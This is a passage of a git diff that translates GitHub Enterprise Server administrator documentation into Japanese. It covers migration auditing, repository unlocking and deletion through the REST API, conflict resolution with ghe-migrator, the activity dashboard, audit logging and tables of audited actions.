+たとえば、インポートに成功したすべてのOrganizationとチームを見るには以下のようにします。
 ```shell
 $ ghe-migrator audit -m organization,team -s mapped,renamed -g <em>MIGRATION_GUID</em>
 > model_name,source_url,target_url,state
 > organization,https://gh.source/octo-org/,https://ghe.target/octo-org/,renamed
 ```
 
-**We strongly recommend auditing every import that failed.** To do that, you will enter:
+**失敗したすべてのインポートを監査することを強くおすすめします。**そのためには以下のようにします。
 ```shell
 $ ghe-migrator audit -s failed_import,failed_map,failed_rename,failed_merge -g <em>MIGRATION_GUID</em>
 > model_name,source_url,target_url,state
@@ -113,40 +114,40 @@ $ ghe-migrator audit -s failed_import,failed_map,failed_rename,failed_merge -g <
 > repository,https://gh.source/octo-org/octo-project,https://ghe.target/octo-org/octo-project,failed
 ```
 
-If you have any concerns about failed imports, contact {% data variables.contact.contact_ent_support %}.
+失敗したインポートに関する懸念があるなら、{% data variables.contact.contact_ent_support %}に連絡してください。
 
-## Completing the import on {% data variables.product.prodname_ghe_server %}
+## {% data variables.product.prodname_ghe_server %} でインポートを完了する
 
-After your migration is applied to your target instance and you have reviewed the migration, you''ll unlock the repositories and delete them off the source. Before deleting your source data we recommend waiting around two weeks to ensure that everything is functioning as expected.
+ターゲットインスタンスへの移行が適用され、その内容を確認したら、リポジトリのロックを解除して、ソースから削除します。 ソースデータを削除する前に、すべてが期待どおりに機能していることを確認するため2週間ほど待つことをおすすめします。
 
-## Unlocking repositories on the target instance
+## ターゲットインスタンス上でのリポジトリのアンロック
 
 {% data reusables.enterprise_installation.ssh-into-instance %}
 {% data reusables.enterprise_migrations.unlocking-on-instances %}
 
-## Unlocking repositories on the source
+## ソース上でのリポジトリのアンロック
 
-### Unlocking repositories from an organization on {% data variables.product.prodname_dotcom_the_website %}
+### {% data variables.product.prodname_dotcom_the_website %} で Organization からリポジトリのロックを解除する
 
-To unlock the repositories on a {% data variables.product.prodname_dotcom_the_website %} organization, you'll send a `DELETE` request to <a href="/rest/reference/migrations#unlock-an-organization-repository" class="dotcom-only">the migration unlock endpoint</a>. You'll need:
-  * Your access token for authentication
-  * The unique `id` of the migration
-  * The name of the repository to unlock
+{% data variables.product.prodname_dotcom_the_website %} Organization のリポジトリをアンロックするには、`DELETE` リクエストを<a href="/rest/reference/migrations#unlock-an-organization-repository" class="dotcom-only">移行アンロックエンドポイント</a>に送信します。 以下が必要です:
+  * 認証のためのアクセストークン
+  * 移行のユニーク`id`
+  * アンロックするリポジトリの名前
 ```shell
 curl -H "Authorization: token <em>GITHUB_ACCESS_TOKEN</em>" -X DELETE \
   -H "Accept: application/vnd.github.wyandotte-preview+json" \
   https://api.github.com/orgs/<em>orgname</em>/migrations/<em>id</em>/repos/<em>repo_name</em>/lock
 ```
 
-### Deleting repositories from an organization on {% data variables.product.prodname_dotcom_the_website %}
+### {% data variables.product.prodname_dotcom_the_website %} で Organization からリポジトリを削除する
 
-After unlocking the {% data variables.product.prodname_dotcom_the_website %} organization's repositories, you should delete every repository you previously migrated using [the repository delete endpoint](/rest/reference/repos/#delete-a-repository). You'll need your access token for authentication:
+{% data variables.product.prodname_dotcom_the_website %} Organization のリポジトリをロック解除した後、[リポジトリ削除エンドポイント](/rest/reference/repos/#delete-a-repository)を使用して以前に移行したすべてのリポジトリを削除する必要があります。 認証のためのアクセストークンが必要になります。
 ```shell
 curl -H "Authorization: token <em>GITHUB_ACCESS_TOKEN</em>" -X DELETE \
   https://api.github.com/repos/<em>orgname</em>/<em>repo_name</em>
 ```
 
-### Unlocking repositories from a {% data variables.product.prodname_ghe_server %} instance
+### {% data variables.product.prodname_ghe_server %} インスタンスからリポジトリをアンロックする
 
 {% data reusables.enterprise_installation.ssh-into-instance %}
 {% data reusables.enterprise_migrations.unlocking-on-instances %}
diff --git a/translations/ja-JP/content/admin/user-management/migrating-data-to-and-from-your-enterprise/preparing-to-migrate-data-to-your-enterprise.md b/translations/ja-JP/content/admin/user-management/migrating-data-to-and-from-your-enterprise/preparing-to-migrate-data-to-your-enterprise.md
index 12b0ae88e1..c78b7506ad 100644
--- a/translations/ja-JP/content/admin/user-management/migrating-data-to-and-from-your-enterprise/preparing-to-migrate-data-to-your-enterprise.md
+++ b/translations/ja-JP/content/admin/user-management/migrating-data-to-and-from-your-enterprise/preparing-to-migrate-data-to-your-enterprise.md
@@ -1,6 +1,6 @@
 ---
-title: Preparing to migrate data to your enterprise
-intro: 'After generating a migration archive, you can import the data to your target {% data variables.product.prodname_ghe_server %} instance. You''ll be able to review changes for potential conflicts before permanently applying the changes to your target instance.'
+title: Enterprise へのデータ移行の準備
+intro: '移行アーカイブを作成すると、ターゲットの {% data variables.product.prodname_ghe_server %} インスタンスにデータをインポートできます。 変更を恒久的にターゲットのインスタンスに適用する前に、潜在的なコンフリクトがないか変更をレビューできます。'
 redirect_from:
   - /enterprise/admin/migrations/preparing-the-migrated-data-for-import-to-github-enterprise-server
   - /enterprise/admin/migrations/generating-a-list-of-migration-conflicts
@@ -17,9 +17,10 @@ topics:
   - Migration
 shortTitle: Prepare to migrate data
 ---
-## Preparing the migrated data for import to {% data variables.product.prodname_ghe_server %}
 
-1. Using the [`scp`](https://linuxacademy.com/blog/linux/ssh-and-scp-howto-tips-tricks#scp) command, copy the migration archive generated from your source instance or organization to your {% data variables.product.prodname_ghe_server %} target:
+## 移行したデータを {% data variables.product.prodname_ghe_server %} にインポートするための準備
+
+1. [`scp`](https://linuxacademy.com/blog/linux/ssh-and-scp-howto-tips-tricks#scp) コマンドを使って、ソースインスタンスまたは Organization から生成された移行アーカイブを {% data variables.product.prodname_ghe_server %} ターゲットにコピーします:
 
     ```shell
     $ scp -P 122 <em>/path/to/archive/MIGRATION_GUID.tar.gz</em> admin@<em>hostname</em>:/home/admin/
@@ -27,122 +28,122 @@ shortTitle: Prepare to migrate data
 
 {% data reusables.enterprise_installation.ssh-into-target-instance %}
 
-3. Use the `ghe-migrator prepare` command to prepare the archive for import on the target instance and generate a new Migration GUID for you to use in subsequent steps:
+3. `ghe-migrator prepare` コマンドを使ってターゲットインスタンスにインポートするためのアーカイブを準備し、次のステップで使用する新たな移行 GUID を生成します。
 
     ```shell
     ghe-migrator prepare /home/admin/<em>MIGRATION_GUID</em>.tar.gz
     ```
 
-    * To start a new import attempt, run `ghe-migrator prepare` again and get a new Migration GUID.
+    * 新たにインポートを試みるには、再び `ghe-migrator prepare` を実行して、新しい Migration GUID を取得します。
     * {% data reusables.enterprise_migrations.specify-staging-path %}
 
-## Generating a list of migration conflicts
+## 移行のコンフリクトのリストの生成
 
-1. Using the `ghe-migrator conflicts` command with the Migration GUID, generate a *conflicts.csv* file:
+1. `ghe-migrator conflicts` コマンドに移行 GUID を付けて実行し、*conflicts.csv* ファイルを生成します。
     ```shell
     $ ghe-migrator conflicts -g <em>MIGRATION_GUID</em> > conflicts.csv
     ```
-    - If no conflicts are reported, you can safely import the data by following the steps in "[Migrating data to your enterprise](/enterprise/admin/guides/migrations/applying-the-imported-data-on-github-enterprise-server/)".
-2. If there are conflicts, using the [`scp`](https://linuxacademy.com/blog/linux/ssh-and-scp-howto-tips-tricks#scp) command, copy *conflicts.csv* to your local computer:
+    - コンフリクトが報告されなければ、「[Enterprise にデータを移行する](/enterprise/admin/guides/migrations/applying-the-imported-data-on-github-enterprise-server/)」のステップに従って安全にデータをインポートできます。
+2. コンフリクトがある場合は、[`scp`](https://linuxacademy.com/blog/linux/ssh-and-scp-howto-tips-tricks#scp) コマンドを使って *conflicts.csv* をローカルコンピュータにコピーします。
   ```shell
   $ scp -P 122 admin@<em>hostname</em>:conflicts.csv ~/Desktop
   ```
-3. Continue to "[Resolving migration conflicts or setting up custom mappings](#resolving-migration-conflicts-or-setting-up-custom-mappings)".
+3. 「[移行コンフリクトの解決もしくはカスタムマッピングのセットアップ](#resolving-migration-conflicts-or-setting-up-custom-mappings)」に進みます。
 
-## Reviewing migration conflicts
+## 移行コンフリクトのレビュー
 
-1. Using a text editor or [CSV-compatible spreadsheet software](https://en.wikipedia.org/wiki/Comma-separated_values#Application_support), open *conflicts.csv*.
-2. With guidance from the examples and reference tables below, review the *conflicts.csv* file to ensure that the proper actions will be taken upon import.
+1. テキストエディタもしくは[CSV互換のスプレッドシートソフトウェア](https://en.wikipedia.org/wiki/Comma-separated_values#Application_support)を使って*conflicts.csv*をオープンしてください。
+2. 以下の例とリファレンスのガイダンスと共に*conflicts.csv*ファイルをレビューし、インポートの際に適切なアクションが取られることを確認してください。
 
-The *conflicts.csv* file contains a *migration map* of conflicts and recommended actions. A migration map lists out both what data is being migrated from the source, and how the data will be applied to the target.
+*conflicts.csv*ファイルには、コンフリクトの*移行マップ*と推奨アクションが含まれています。 移行マップは、ソースから移行されるデータと、そのデータがどのようにターゲットに適用されるかのリストです。
 
-| `model_name`   | `source_url`   | `target_url` | `recommended_action` |
-|--------------|--------------|------------|--------------------|
-| `user`         | `https://example-gh.source/octocat` | `https://example-gh.target/octocat` | `map` |
-| `organization` | `https://example-gh.source/octo-org` | `https://example-gh.target/octo-org` | `map` |
-| `repository`   | `https://example-gh.source/octo-org/widgets` | `https://example-gh.target/octo-org/widgets` | `rename` |
-| `team`         | `https://example-gh.source/orgs/octo-org/teams/admins` | `https://example-gh.target/orgs/octo-org/teams/admins` | `merge` |
+| `model_name`   | `source_url`                                           | `target_url`                                           | `recommended_action` |
+| -------------- | ------------------------------------------------------ | ------------------------------------------------------ | -------------------- |
+| `ユーザ`          | `https://example-gh.source/octocat`                    | `https://example-gh.target/octocat`                    | `map`                |
+| `Organization` | `https://example-gh.source/octo-org`                   | `https://example-gh.target/octo-org`                   | `map`                |
+| `リポジトリ`        | `https://example-gh.source/octo-org/widgets`           | `https://example-gh.target/octo-org/widgets`           | `rename`             |
+| `Team`         | `https://example-gh.source/orgs/octo-org/teams/admins` | `https://example-gh.target/orgs/octo-org/teams/admins` | `マージ`                |
 
-Each row in *conflicts.csv* provides the following information:
+*conflicts.csv*の各行には以下の情報があります。
 
-|    Name      | Description   |
-|--------------|---------------|
-| `model_name` | The type of data being changed. |
-| `source_url` | The source URL of the data. |
-| `target_url` | The expected target URL of the data.  |
-| `recommended_action` | The preferred action `ghe-migrator` will take when importing the data.  |
+| 名前                   | 説明                                      |
+| -------------------- | --------------------------------------- |
+| `model_name`         | 変更されるデータの種類。                            |
+| `source_url`         | データのソースURL。                             |
+| `target_url`         | 期待されるデータのターゲットURL。                      |
+| `recommended_action` | データをインポートする際に`ghe-migrator`が行う推奨のアクション。 |
 
-### Possible mappings for each record type
+### 各レコードタイプで可能なマッピング
 
-There are several different mapping actions that `ghe-migrator` can take when transferring data:
+データの転送時に`ghe-migrator`が行えるマッピングアクションは複数あります。
 
-| `action`      | Description | Applicable models |
-|------------------------|-------------|-------------------|
-| `import`      | (default) Data from the source is imported to the target. | All record types
-| `map`         | Data from the source is replaced by existing data on the target. | Users, organizations, repositories
-| `rename`      | Data from the source is renamed, then copied over to the target. | Users, organizations, repositories
-| `map_or_rename` | If the target exists, map to that target. Otherwise, rename the imported model. | Users
-| `merge`       | Data from the source is combined with existing data on the target. | Teams
+| `action`        | 説明                                                         | 適用可能なモデル                         |
+| --------------- | ---------------------------------------------------------- | -------------------------------- |
+| `import`        | （デフォルト）ソースからのデータがターゲットにインポートされます。                          | すべてのレコードタイプ                      |
+| `map`           | ソースからのデータがターゲット上の既存のデータで置き換えられます。                          | Users、organizations、repositories |
+| `rename`        | ソースからのデータは名前が変更されてターゲットにコピーされます。                           | Users、organizations、repositories |
+| `map_or_rename` | ターゲットが存在する場合、そのターゲットにマップします。 そうでない場合はインポートされたモデルの名前を変更します。 | ユーザ                              |
+| `マージ`           | ソースからのデータはターゲット上の既存のデータと組み合わされます。                          | Team                             |
 
-**We strongly suggest you review the *conflicts.csv* file and use [`ghe-migrator audit`](/enterprise/admin/guides/migrations/reviewing-migration-data) to ensure that the proper actions are being taken.** If everything looks good, you can continue to "[Migrating data to your enterprise](/enterprise/admin/guides/migrations/applying-the-imported-data-on-github-enterprise-server)".
+***conflicts.csv* ファイルを見直し、[`ghe-migrator audit`](/enterprise/admin/guides/migrations/reviewing-migration-data) を使って適切なアクションがとられることを確認するよう強くお勧めします。**問題がないようであれば、「[Enterprise へのデータの移行](/enterprise/admin/guides/migrations/applying-the-imported-data-on-github-enterprise-server)」に進むことができます。
 
 
-## Resolving migration conflicts or setting up custom mappings
+## 移行コンフリクトの解決もしくはカスタムマッピングのセットアップ
 
-If you believe that `ghe-migrator` will perform an incorrect change, you can make corrections by changing the data in *conflicts.csv*. You can make changes to any of the rows in *conflicts.csv*.
+`ghe-migrator`が正しくない変更を行うと考えられるときは、*conflicts.csv*内でデータを変更することによって修正をかけられます。 *conflicts.csv*内の任意の行を変更できます。
 
-For example, let's say you notice that the `octocat` user from the source is being mapped to `octocat` on the target:
+たとえばソースの`octocat`ユーザがターゲットの`octocat`にマップされていることに気づいたとしましょう。
 
-| `model_name`   | `source_url`   | `target_url` | `recommended_action` |
-|--------------|--------------|------------|--------------------|
-| `user`         | `https://example-gh.source/octocat` | `https://example-gh.target/octocat` | `map`
+| `model_name` | `source_url`                        | `target_url`                        | `recommended_action` |
+| ------------ | ----------------------------------- | ----------------------------------- | -------------------- |
+| `ユーザ`        | `https://example-gh.source/octocat` | `https://example-gh.target/octocat` | `map`                |
 
-You can choose to map the user to a different user on the target. Suppose you know that `octocat` should actually be `monalisa` on the target. You can change the `target_url` column in *conflicts.csv* to refer to `monalisa`:
+このユーザをターゲット上の他のユーザにマップさせることができます。 `octocat`が実際にはターゲットの`monalisa`だということを知っているとしましょう。 *conflicts.csv*の `target_url`を`monalisa`を指すように変更できます。
 
-| `model_name`   | `source_url`   | `target_url` | `recommended_action` |
-|--------------|--------------|------------|--------------------|
-| `user`         | `https://example-gh.source/octocat` | `https://example-gh.target/monalisa` | `map`
+| `model_name` | `source_url`                        | `target_url`                         | `recommended_action` |
+| ------------ | ----------------------------------- | ------------------------------------ | -------------------- |
+| `ユーザ`        | `https://example-gh.source/octocat` | `https://example-gh.target/monalisa` | `map`                |
 
-As another example, if you want to rename the `octo-org/widgets` repository to `octo-org/amazing-widgets` on the target instance, change the `target_url` to `octo-org/amazing-widgets` and the `recommend_action` to `rename`:
+もう1つの例として、もしも`octo-org/widgets`リポジトリをターゲットインスタンス上では`octo-org/amazing-widgets`に名前を変えたいとすれば、`target_url`を`octo-org/amazing-widgets`に、`recommend_action`を`rename`に変更してください。
 
-| `model_name`   | `source_url`   | `target_url` | `recommended_action` |
-|--------------|--------------|------------|--------------------|
-| `repository`   | `https://example-gh.source/octo-org/widgets` | `https://example-gh.target/octo-org/amazing-widgets` | `rename`   |
+| `model_name` | `source_url`                                 | `target_url`                                         | `recommended_action` |
+| ------------ | -------------------------------------------- | ---------------------------------------------------- | -------------------- |
+| `リポジトリ`      | `https://example-gh.source/octo-org/widgets` | `https://example-gh.target/octo-org/amazing-widgets` | `rename`             |
 
-### Adding custom mappings
+### カスタムマッピングの追加
 
-A common scenario during a migration is for migrated users to have different usernames on the target than they have on the source.
+移行における一般的なシナリオは、移行されたユーザがターゲット上ではソース上とは異なるユーザ名を持つことです。
 
-Given a list of usernames from the source and a list of usernames on the target, you can build a CSV file with custom mappings and then apply it to ensure each user's username and content is correctly attributed to them at the end of a migration.
+ソースのユーザ名のリストとターゲットのユーザー名のリストがあれば、カスタムマッピングのCSVファイルを構築し、各ユーザのユーザ名とコンテンツが移行の終了時点で正しく割り当てられているようにそのファイルを適用できます。
 
-You can quickly generate a CSV of users being migrated in the CSV format needed to apply custom mappings by using the [`ghe-migrator audit`](/enterprise/admin/guides/migrations/reviewing-migration-data) command:
+[`ghe-migrator audit`](/enterprise/admin/guides/migrations/reviewing-migration-data)を使えば、カスタムマッピングを適用するのに必要なCSV形式で、移行されるユーザのCSVを素早く生成できます。
 
 ```shell
 $ ghe-migrator audit -m user -g <em>MIGRATION_GUID</em> > users.csv
 ```
 
-Now, you can edit that CSV and enter the new URL for each user you would like to map or rename, and then update the fourth column to have `map` or `rename` as appropriate.
+これで、このCSVを編集してマップあるいは名前を変更したい各ユーザに新しいURLを入力し、4番目の列を`map`あるいは`rename`を適切に更新できます。
 
-For example, to rename the user `octocat` to `monalisa` on the target `https://example-gh.target` you would create a row with the following content:
+たとえばユーザ`octocat`の名前をターゲット`https://example-gh.target`上で`monalisa`に変更したいのであれば、以下の内容の行を作成します。
 
-| `model_name`   | `source_url`   | `target_url` | `state` |
-|--------------|--------------|------------|--------------------|
-| `user`         | `https://example-gh.source/octocat` | `https://example-gh.target/monalisa` | `rename`
+| `model_name` | `source_url`                        | `target_url`                         | `state`  |
+| ------------ | ----------------------------------- | ------------------------------------ | -------- |
+| `ユーザ`        | `https://example-gh.source/octocat` | `https://example-gh.target/monalisa` | `rename` |
 
-The same process can be used to create mappings for each record that supports custom mappings. For more information, see [our table on the possible mappings for records](/enterprise/admin/guides/migrations/reviewing-migration-conflicts#possible-mappings-for-each-record-type).
+同じプロセスは、カスタムマッピングをサポートする各レコードのマッピングを作成するために使うことができます。 詳しい情報については[レコードに可能なマッピング上のテーブル](/enterprise/admin/guides/migrations/reviewing-migration-conflicts#possible-mappings-for-each-record-type)を参照してください。
 
-### Applying modified migration data
+### 修正された移行データの適用
 
-1. After making changes, use the [`scp`](https://linuxacademy.com/blog/linux/ssh-and-scp-howto-tips-tricks#scp) command to apply your modified *conflicts.csv* (or any other mapping *.csv* file in the correct format) to the target instance:
+1. 変更を加えた後、修正された *conflicts.csv* (または適切な形式のその他のマッピング *.csv*) を [`scp`](https://linuxacademy.com/blog/linux/ssh-and-scp-howto-tips-tricks#scp) コマンドを使ってターゲットインスタンスに適用します。
 
     ```shell
     $ scp -P 122 ~/Desktop/conflicts.csv admin@<em>hostname</em>:/home/admin/
     ```
 
-2. Re-map the migration data using the `ghe-migrator map` command, passing in the path to your modified *.csv* file and the Migration GUID:
+2. 修正された *.csv* ファイルへのパスと移行 GUID を渡して、`ghe-migrator map` を使い、移行データを再マップします。
 
     ```shell
     $ ghe-migrator map -i conflicts.csv  -g <em>MIGRATION_GUID</em>
     ```
 
-3. If the `ghe-migrator map -i conflicts.csv  -g MIGRATION_GUID` command reports that conflicts still exist, run through the migration conflict resolution process again.
+3. `ghe-migrator map -i conflicts.csv  -g MIGRATION_GUID` がまだコンフリクトがあると報告してきた場合、移行のコンフリクト解決のプロセスをもう一度行ってください。
diff --git a/translations/ja-JP/content/admin/user-management/monitoring-activity-in-your-enterprise/activity-dashboard.md b/translations/ja-JP/content/admin/user-management/monitoring-activity-in-your-enterprise/activity-dashboard.md
index edc50c6daa..47e1ac0ce5 100644
--- a/translations/ja-JP/content/admin/user-management/monitoring-activity-in-your-enterprise/activity-dashboard.md
+++ b/translations/ja-JP/content/admin/user-management/monitoring-activity-in-your-enterprise/activity-dashboard.md
@@ -1,6 +1,6 @@
 ---
-title: Activity dashboard
-intro: The Activity dashboard gives you an overview of all the activity in your enterprise.
+title: アクティビティダッシュボード
+intro: アクティビティダッシュボードで、Enterprise 内のすべてのアクティビティの概要を確認できます。
 redirect_from:
   - /enterprise/admin/articles/activity-dashboard
   - /enterprise/admin/installation/activity-dashboard
@@ -12,22 +12,21 @@ versions:
 topics:
   - Enterprise
 ---
-The Activity dashboard provides weekly, monthly, and yearly graphs of the number of:
-- New pull requests
-- Merged pull requests
-- New issues
-- Closed issues
-- New issue comments
-- New repositories
-- New user accounts
-- New organizations
-- New teams
 
-![Activity dashboard](/assets/images/enterprise/activity/activity-dashboard-yearly.png)
+アクティビティダッシュボードには、次の数値の週次、月次、年次のグラフが表示されます。
+- 新規プルリクエスト
+- マージされたプルリクエスト
+- 新規 Issue
+- 解決された Issue
+- 新規 Issue コメント
+- 新規リポジトリ
+- 新規ユーザアカウント
+- 新規 Organization
+- 新規 Team
 
-## Accessing the Activity dashboard
+![アクティビティダッシュボード](/assets/images/enterprise/activity/activity-dashboard-yearly.png)
 
-1. At the top of any page, click **Explore**.
-![Explore tab](/assets/images/enterprise/settings/ent-new-explore.png)
-2. In the upper-right corner, click **Activity**.
-![Activity button](/assets/images/enterprise/activity/activity-button.png)
+## アクティビティダッシュボードへのアクセス
+
+1. ページの上部で [**Explore**] をクリックします。 ![[Explore] タブ](/assets/images/enterprise/settings/ent-new-explore.png)
+2. 右上にある **Activity** をクリックする。 ![Activity ボタン](/assets/images/enterprise/activity/activity-button.png)
diff --git a/translations/ja-JP/content/admin/user-management/monitoring-activity-in-your-enterprise/audit-logging.md b/translations/ja-JP/content/admin/user-management/monitoring-activity-in-your-enterprise/audit-logging.md
index 0b39b98872..b508e1d34b 100644
--- a/translations/ja-JP/content/admin/user-management/monitoring-activity-in-your-enterprise/audit-logging.md
+++ b/translations/ja-JP/content/admin/user-management/monitoring-activity-in-your-enterprise/audit-logging.md
@@ -1,6 +1,6 @@
 ---
-title: Audit logging
-intro: '{% data variables.product.product_name %} keeps logs of audited{% ifversion ghes %} system,{% endif %} user, organization, and repository events. Logs are useful for debugging and internal and external compliance.'
+title: 監査ログ
+intro: '{% data variables.product.product_name %} は、{% ifversion ghes %}監査対象システム、{% endif %}ユーザ、Organization、リポジトリのイベントのログを保持します。 ログはデバッグや内部および外部のコンプライアンスに役立ちます。'
 redirect_from:
   - /enterprise/admin/articles/audit-logging
   - /enterprise/admin/installation/audit-logging
@@ -16,30 +16,31 @@ topics:
   - Logging
   - Security
 ---
-For a full list, see "[Audited actions](/admin/user-management/audited-actions)." For more information on finding a particular action, see "[Searching the audit log](/admin/user-management/searching-the-audit-log)."
 
-## Push logs
+完全なリストについては、「[監査済みのアクション](/admin/user-management/audited-actions)」を参照してください。 特定のアクションを見つける方法について詳しくは、「[Audit log を検索する](/admin/user-management/searching-the-audit-log)」を参照してください。
 
-Every Git push operation is logged. For more information, see "[Viewing push logs](/admin/user-management/viewing-push-logs)."
+## プッシュのログ
+
+Git プッシュ操作はすべてログに記録されます。 詳しい情報については、「[プッシュログを表示する](/admin/user-management/viewing-push-logs)」を参照してください。
 
 {% ifversion ghes %}
-## System events
+## システムイベント
 
-All audited system events, including all pushes and pulls, are logged to `/var/log/github/audit.log`. Logs are automatically rotated every 24 hours and are retained for seven days.
+すべてのプッシュとプルを含む監査されたすべてのシステムイベントは、`/var/log/github/audit.log` に記録されます。 ログは 24 時間ごとに自動的に交換され、7 日間保持されます。
 
-The support bundle includes system logs. For more information, see "[Providing data to {% data variables.product.prodname_dotcom %} Support](/admin/enterprise-support/providing-data-to-github-support)."
+Support Bundle にはシステムログが含まれています。 詳しい情報については、「[{% data variables.product.prodname_dotcom %} Support にデータを提供する](/admin/enterprise-support/providing-data-to-github-support)」を参照してください。
 
-## Support bundles
+## Support Bundle
 
-All audit information is logged to the `audit.log` file in the `github-logs` directory of any support bundle. If log forwarding is enabled, you can stream this data to an external syslog stream consumer such as [Splunk](http://www.splunk.com/) or [Logstash](http://logstash.net/). All entries from this log use and can be filtered with the `github_audit` keyword. For more information see "[Log forwarding](/admin/user-management/log-forwarding)."
+すべての監査情報は、Support Bundle の `github-logs` ディレクトリにある `audit.log` ファイルに記録されます。 ログの転送が有効な場合、[Splunk](http://www.splunk.com/) や [Logstash](http://logstash.net/) などの外部の syslog ストリーミングコンシューマに、このデータをストリーミングすることができます。 このログからのすべてのエントリは、`github_audit` キーワードでフィルタリングできます。 詳しい情報については、「[ログの転送](/admin/user-management/log-forwarding)」を参照してください。
 
-For example, this entry shows that a new repository was created.
+たとえば、次のエントリは新規リポジトリが作成されたことを示しています。
 
 ```
 Oct 26 01:42:08 github-ent github_audit: {:created_at=>1351215728326, :actor_ip=>"10.0.0.51", :data=>{}, :user=>"some-user", :repo=>"some-user/some-repository", :actor=>"some-user", :actor_id=>2, :user_id=>2, :action=>"repo.create", :repo_id=>1, :from=>"repositories#create"}
 ```
 
-This example shows that commits were pushed to a repository.
+次の例は、コミットがリポジトリにプッシュされたことを示しています。
 
 ```
 Oct 26 02:19:31 github-ent github_audit: { "pid":22860, "ppid":22859, "program":"receive-pack", "git_dir":"/data/repositories/some-user/some-repository.git", "hostname":"github-ent", "pusher":"some-user", "real_ip":"10.0.0.51", "user_agent":"git/1.7.10.4", "repo_id":1, "repo_name":"some-user/some-repository", "transaction_id":"b031b7dc7043c87323a75f7a92092ef1456e5fbaef995c68", "frontend_ppid":1, "repo_public":true, "user_name":"some-user", "user_login":"some-user", "frontend_pid":18238, "frontend":"github-ent", "user_email":"some-user@github.example.com", "user_id":2, "pgroup":"github-ent_22860", "status":"post_receive_hook", "features":" report-status side-band-64k", "received_objects":3, "receive_pack_size":243, "non_fast_forward":false, "current_ref":"refs/heads/main" }
diff --git a/translations/ja-JP/content/admin/user-management/monitoring-activity-in-your-enterprise/audited-actions.md b/translations/ja-JP/content/admin/user-management/monitoring-activity-in-your-enterprise/audited-actions.md
index 87a3c98508..a9b090aaf9 100644
--- a/translations/ja-JP/content/admin/user-management/monitoring-activity-in-your-enterprise/audited-actions.md
+++ b/translations/ja-JP/content/admin/user-management/monitoring-activity-in-your-enterprise/audited-actions.md
@@ -1,6 +1,6 @@
 ---
-title: Audited actions
-intro: You can search the audit log for a wide variety of actions.
+title: 監査されたアクション
+intro: 監査ログでいろんなアクションを検索することができます。
 miniTocMaxHeadingLevel: 3
 redirect_from:
   - /enterprise/admin/articles/audited-actions
@@ -17,27 +17,20 @@ topics:
   - Security
 ---
 
-## Authentication
+## 認証
 
-Action                               | Description
------------------------------------- | ----------------------------------------
-`oauth_access.create`                | An [OAuth access token][] was [generated][generate token] for a user account.
-`oauth_access.destroy`               | An [OAuth access token][] was deleted from a user account.
-`oauth_application.destroy`          | An [OAuth application][] was deleted from a user or organization account.
-`oauth_application.reset_secret`     | An [OAuth application][]'s secret key was reset.
-`oauth_application.transfer`         | An [OAuth application][] was transferred from one user or organization account to another.
-`public_key.create`                  | An SSH key was [added][add key] to a user account or a [deploy key][] was added to a repository.
-`public_key.delete`                  | An SSH key was removed from a user account or a [deploy key][] was removed from a repository.
-`public_key.update`                  | A user account's SSH key or a repository's [deploy key][] was updated.{% ifversion ghes %}
-`two_factor_authentication.enabled`  | [Two-factor authentication][2fa] was enabled for a user account.
-`two_factor_authentication.disabled` | [Two-factor authentication][2fa] was disabled for a user account.{% endif %}
-
-  [add key]: /articles/adding-a-new-ssh-key-to-your-github-account
-  [deploy key]: /guides/managing-deploy-keys/#deploy-keys
-  [generate token]: /articles/creating-an-access-token-for-command-line-use
-  [OAuth access token]: /developers/apps/authorizing-oauth-apps
-  [OAuth application]: /guides/basics-of-authentication/#registering-your-app
-  [2fa]: /articles/about-two-factor-authentication
+| アクション                                | 説明                                                               |
+| ------------------------------------ | ---------------------------------------------------------------- |
+| `oauth_access.create`                | ユーザアカウントに[OAuth アクセストークン][] が[作成][generate token] されました。         |
+| `oauth_access.destroy`               | [OAuth アクセストークン][] がユーザアカウントから削除されました。                           |
+| `oauth_application.destroy`          | [OAuth application][]がユーザまたは Organization のアカウントから削除されました。       |
+| `oauth_application.reset_secret`     | [OAuth アプリケーション][]の秘密鍵がリセットされました。                                |
+| `oauth_application.transfer`         | [OAuth アプリケーション][]が別のユーザ、または Organization のアカウントへ移されました。         |
+| `public_key.create`                  | SSHキーがユーザアカウントに[追加][add key]されたか[デプロイキー][]がリポジトリに追加されました。        |
+| `public_key.delete`                  | SSHキーがユーザアカウントから削除されたか[デプロイキー][]がリポジトリから削除されました。                 |
+| `public_key.update`                  | ユーザアカウントの SSH キーまたはリポジトリの[デプロイキー][]が更新されました。{% ifversion ghes %}
+| `two_factor_authentication.enabled`  | ユーザアカウントの[二段階認証][2fa]が有効化されました。                                  |
+| `two_factor_authentication.disabled` | ユーザアカウントの [2 要素認証][2fa]が無効になりました。{% endif %}
 
 {% ifversion ghes %}
 ## {% data variables.product.prodname_actions %}
@@ -46,159 +39,152 @@ Action                               | Description
 
 {% endif %}
 
-## Hooks
+## フック
 
-Action                            | Description
---------------------------------- | -------------------------------------------
-`hook.create`                     | A new hook was added to a repository.
-`hook.config_changed`             | A hook's configuration was changed.
-`hook.destroy`                    | A hook was deleted.
-`hook.events_changed`             | A hook's configured events were changed.
+| アクション                 | 説明                       |
+| --------------------- | ------------------------ |
+| `hook.create`         | リポジトリに新規フックが追加されました。     |
+| `hook.config_changed` | フックのコンフィグレーションが変更されました。  |
+| `hook.destroy`        | フックが削除されました。             |
+| `hook.events_changed` | フックの設定されているイベントが変更されました。 |
 
-## Enterprise configuration settings
+## Enterprise 設定
 
-Action                                          | Description
------------------------------------------------ | -------------------------------------------{% ifversion ghes > 3.0 or ghae %}
-`business.advanced_security_policy_update` | A site admin creates, updates, or removes a policy for {% data variables.product.prodname_GH_advanced_security %}. For more information, see "[Enforcing policies for {% data variables.product.prodname_advanced_security %} in your enterprise](/admin/policies/enforcing-policies-for-advanced-security-in-your-enterprise)."{% endif %}
-`business.clear_members_can_create_repos` | A site admin clears a restriction on repository creation in organizations in the enterprise. For more information, see "[Enforcing repository management policies in your enterprise](/admin/policies/enforcing-repository-management-policies-in-your-enterprise#setting-a-policy-for-repository-creation)."{% ifversion ghes > 3.1 %}
-`business.referrer_override_enable` | A site admin enables the referrer policy override. For more information, see "[Configuring the referrer policy for your enterprise](/admin/configuration/configuring-your-enterprise/configuring-the-referrer-policy-for-your-enterprise)."
-`business.referrer_override_disable` | A site admin disables the referrer policy override. For more information, see "[Configuring the referrer policy for your enterprise](/admin/configuration/configuring-your-enterprise/configuring-the-referrer-policy-for-your-enterprise)."{% endif %}
